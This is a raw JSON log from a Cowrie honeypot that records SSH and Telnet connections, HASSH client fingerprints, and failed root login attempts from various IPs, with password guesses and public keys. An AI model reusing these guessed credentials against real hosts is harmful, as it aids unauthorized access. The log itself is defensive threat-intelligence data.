{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":40360,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e1e8c1e2578","protocol":"ssh","message":"New connection: 80.66.85.226:40360 (159.203.135.109:22) [session: 3e1e8c1e2578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:49.875823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:49.879625Z","src_ip":"80.66.85.226","session":"3e1e8c1e2578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:49.967919Z","src_ip":"80.66.85.226","session":"3e1e8c1e2578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345665","message":"login attempt [root/12345665] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:50.227725Z","src_ip":"80.66.85.226","session":"3e1e8c1e2578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:51.315895Z","src_ip":"80.66.85.226","session":"3e1e8c1e2578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":52464,"dst_ip":"159.203.135.109","dst_port":22,"session":"bee7f57fa15d","protocol":"ssh","message":"New connection: 103.203.57.2:52464 (159.203.135.109:22) [session: bee7f57fa15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:53.553175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:53.557632Z","src_ip":"103.203.57.2","session":"bee7f57fa15d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:53.566801Z","src_ip":"103.203.57.2","session":"bee7f57fa15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:49:03.553923Z","src_ip":"103.203.57.2","session":"bee7f57fa15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.150821685791016,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:49:09.066674Z","src_ip":"107.6.151.170","session":"aff9e585743d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.19465112686157,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:49:19.206814Z","src_ip":"107.6.151.170","session":"e6e392ebdab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42846,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f192c421a3d","protocol":"telnet","message":"New connection: 107.6.151.170:42846 (159.203.135.109:23) [session: 0f192c421a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:49:39.464325Z"}
{"eventid":"cowrie.session.closed","duration":50.22756505012512,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:50:29.691798Z","src_ip":"107.6.151.170","session":"0f192c421a3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":59730,"dst_ip":"159.203.135.109","dst_port":22,"session":"7479650508c9","protocol":"ssh","message":"New connection: 194.113.233.25:59730 (159.203.135.109:22) [session: 7479650508c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:03.623438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:03.626813Z","src_ip":"194.113.233.25","session":"7479650508c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:03.720284Z","src_ip":"194.113.233.25","session":"7479650508c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:04.003595Z","src_ip":"194.113.233.25","session":"7479650508c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:05.101467Z","src_ip":"194.113.233.25","session":"7479650508c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":38298,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e8f03e6c4d9","protocol":"telnet","message":"New connection: 132.148.22.172:38298 (10.17.0.5:23) [session: 9e8f03e6c4d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:07.225332Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49402,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f84272dcf8","protocol":"telnet","message":"New connection: 172.81.62.90:49402 (10.17.0.5:23) [session: e1f84272dcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:09.440009Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.244.18","src_port":26682,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e37ee872cef","protocol":"ssh","message":"New connection: 206.212.244.18:26682 (10.17.0.5:22) [session: 5e37ee872cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.701829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.705745Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.719049Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:00:cf:80:8a:d3:ca:05:a3:63:4c:ec:b9:2d:0c:1e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGvoNccJ4WUfjxor7lYXE1fxVY0zA0kVvc+SUCZeo/FK","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 76:00:cf:80:8a:d3:ca:05:a3:63:4c:ec:b9:2d:0c:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.757206Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:00:cf:80:8a:d3:ca:05:a3:63:4c:ec:b9:2d:0c:1e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGvoNccJ4WUfjxor7lYXE1fxVY0zA0kVvc+SUCZeo/FK","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.760062Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:e0:83:88:a0:81:42:13:1b:d9:82:d2:a8:35:92:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxuFdd9WRL26WBjpvNTleUpYA+uf5BbtCsUNj+U6GyVXiFCaFbmJUKwnHxBVz50XXib1BcEKK8YZcF/tyDwPApUj6JkIEgxdtPUDxWcSPsqq8RTs/hG0LlXfDjGgsOwePjDYFHfao7wRgXu42hD3F+SHMWbcSArX8SdfpzDLDZbo57cGapPMZ2MCM5QxQuj0t0TFS6c/sFFgsEraynMBfXfnpA7+3y870SGfxrqEaMxGNXeIfMEPY4UImhgdbZ3GMNGnr54DyQMtwpfgC4kKY2x/0wwWH+NYy9eBIouJkgq57QoqmrwCky6l1eCeXLJ6BtWn7WUT6RUCd7s8RQ2PmF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:e0:83:88:a0:81:42:13:1b:d9:82:d2:a8:35:92:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.775023Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:e0:83:88:a0:81:42:13:1b:d9:82:d2:a8:35:92:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxuFdd9WRL26WBjpvNTleUpYA+uf5BbtCsUNj+U6GyVXiFCaFbmJUKwnHxBVz50XXib1BcEKK8YZcF/tyDwPApUj6JkIEgxdtPUDxWcSPsqq8RTs/hG0LlXfDjGgsOwePjDYFHfao7wRgXu42hD3F+SHMWbcSArX8SdfpzDLDZbo57cGapPMZ2MCM5QxQuj0t0TFS6c/sFFgsEraynMBfXfnpA7+3y870SGfxrqEaMxGNXeIfMEPY4UImhgdbZ3GMNGnr54DyQMtwpfgC4kKY2x/0wwWH+NYy9eBIouJkgq57QoqmrwCky6l1eCeXLJ6BtWn7WUT6RUCd7s8RQ2PmF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.777813Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:af:8b:e5:e7:ef:8d:38:5c:01:3a:6d:73:15:d9:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdFFcV/tbygwvurdeM90OfR2D0vqNYWkCkvNrTsEZo4aeKArXdR1YYGUXx0ZMBjRr9zz1ra3IDdEyh9QgtJAlD0fzYpiG4Vw9kA0iFisDPLhmQFPWJOgi38J7zmva8cSVPn5Z29mJZgcP8npuOjScqyjLFqk52q9C0qX4GmNdOlxeunh7XdacjKsvNqzM9rRyUm79ofOZVuP4+zcfQJwokSZzPWlTcqoXIthf7QQvtB290taZSaHxGuLiKkq07/oci4vUdCaDcccHUeq8OsUfvYiDfNVDkO58F9+uOmx3p2tPYjDggD6c1anbtp2B9ix6YwGZPfEOx7EvZGZbSlpl3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:af:8b:e5:e7:ef:8d:38:5c:01:3a:6d:73:15:d9:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.790413Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:af:8b:e5:e7:ef:8d:38:5c:01:3a:6d:73:15:d9:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdFFcV/tbygwvurdeM90OfR2D0vqNYWkCkvNrTsEZo4aeKArXdR1YYGUXx0ZMBjRr9zz1ra3IDdEyh9QgtJAlD0fzYpiG4Vw9kA0iFisDPLhmQFPWJOgi38J7zmva8cSVPn5Z29mJZgcP8npuOjScqyjLFqk52q9C0qX4GmNdOlxeunh7XdacjKsvNqzM9rRyUm79ofOZVuP4+zcfQJwokSZzPWlTcqoXIthf7QQvtB290taZSaHxGuLiKkq07/oci4vUdCaDcccHUeq8OsUfvYiDfNVDkO58F9+uOmx3p2tPYjDggD6c1anbtp2B9ix6YwGZPfEOx7EvZGZbSlpl3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.793377Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:a6:83:b6:37:bd:4f:20:76:7b:d7:7f:bb:bb:35:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIurbclNgot8m0hrt3kmdBssBCtxF7uVuVlATzP8Pj4IOgQllmVAUUrCuYxcKy0ZijSY2XZmPKgl60S2H9jB61R9oYEGHNo8kPukUvQuryKYVBzH0nBtgfviLdLol8MLL3iOBobBrX2FUMteuIXMfE+urpitA4Rgtf98pQDvsVr2+ZhhDtE/oFwUqV3BiJsC+iRu8BISNB87xsEGdEfHojrA+1fG1TFBoyy/QcjPPqRGMq5MWK3JeTLyq1LCmpCvpkosEdHMYVPWI9uRYL98Vne93p372ZTd7Y88eAg2HzniHN9BUOmL96Fwp9Hwb66m3tdEJy4ViY8o2x2jh9zIwj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:a6:83:b6:37:bd:4f:20:76:7b:d7:7f:bb:bb:35:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.806241Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:a6:83:b6:37:bd:4f:20:76:7b:d7:7f:bb:bb:35:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIurbclNgot8m0hrt3kmdBssBCtxF7uVuVlATzP8Pj4IOgQllmVAUUrCuYxcKy0ZijSY2XZmPKgl60S2H9jB61R9oYEGHNo8kPukUvQuryKYVBzH0nBtgfviLdLol8MLL3iOBobBrX2FUMteuIXMfE+urpitA4Rgtf98pQDvsVr2+ZhhDtE/oFwUqV3BiJsC+iRu8BISNB87xsEGdEfHojrA+1fG1TFBoyy/QcjPPqRGMq5MWK3JeTLyq1LCmpCvpkosEdHMYVPWI9uRYL98Vne93p372ZTd7Y88eAg2HzniHN9BUOmL96Fwp9Hwb66m3tdEJy4ViY8o2x2jh9zIwj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.809300Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:81:18:f3:92:eb:8f:61:39:2f:7b:9a:e7:f4:69:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7CylXDuZ+lhqM/Y5kasAnbr8+nYdrQhcyGLPIhQrwFBcmhNflJ12zHH64uhzMEjvORFjYp1zBArdns96gLL/wn/sFIlLh0MfCIax95DF+OWyKEW9SrJdxsT3wOBAi2ejocMk/dCZPhu3edesSjQT89faW4rgBx4xZeXWVJhhrHRSLyB+3xrIyKKjnu0BbyUy5rVlqCHZLj9OJlIVsgLG/Kz4vUzYil9JFv+5JwVYr7jrdttVOZjUnsMJMQuYf4T2kTlGoqgDd21/DBcx1q9/mCSOumYGGpdY4FmwewwQxCIRr3+R44C0PN64S3IRci0yslPEPGF4ceKV5YSeLFCxYzapy+/Obs8i9ZZNnXJbeHaVMlH0jr3sk1xZ//0wGsvMLkYQimTPkCfjol+LbYNtKETMyIW8WXA6kMrVyh8tDzmNjAM895DJucOO5vzsZKAQ6nlfSOdTO/VvKD7uTVslVNIrHpIwQppCY2ilZxwWYaCfmIWW6iGl/e/2XNiZF2xM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:81:18:f3:92:eb:8f:61:39:2f:7b:9a:e7:f4:69:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.821706Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:81:18:f3:92:eb:8f:61:39:2f:7b:9a:e7:f4:69:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7CylXDuZ+lhqM/Y5kasAnbr8+nYdrQhcyGLPIhQrwFBcmhNflJ12zHH64uhzMEjvORFjYp1zBArdns96gLL/wn/sFIlLh0MfCIax95DF+OWyKEW9SrJdxsT3wOBAi2ejocMk/dCZPhu3edesSjQT89faW4rgBx4xZeXWVJhhrHRSLyB+3xrIyKKjnu0BbyUy5rVlqCHZLj9OJlIVsgLG/Kz4vUzYil9JFv+5JwVYr7jrdttVOZjUnsMJMQuYf4T2kTlGoqgDd21/DBcx1q9/mCSOumYGGpdY4FmwewwQxCIRr3+R44C0PN64S3IRci0yslPEPGF4ceKV5YSeLFCxYzapy+/Obs8i9ZZNnXJbeHaVMlH0jr3sk1xZ//0wGsvMLkYQimTPkCfjol+LbYNtKETMyIW8WXA6kMrVyh8tDzmNjAM895DJucOO5vzsZKAQ6nlfSOdTO/VvKD7uTVslVNIrHpIwQppCY2ilZxwWYaCfmIWW6iGl/e/2XNiZF2xM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.824818Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:21.836958Z","src_ip":"206.212.244.18","session":"5e37ee872cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.923635244369507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:38.148837Z","src_ip":"132.148.22.172","session":"9e8f03e6c4d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.68668055534363,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:44.126547Z","src_ip":"172.81.62.90","session":"e1f84272dcf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55000,"dst_ip":"10.17.0.5","dst_port":22,"session":"8efe49349f2a","protocol":"ssh","message":"New connection: 103.153.68.219:55000 (10.17.0.5:22) [session: 8efe49349f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:46.297932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:46.302049Z","src_ip":"103.153.68.219","session":"8efe49349f2a","protocol":"ssh"}
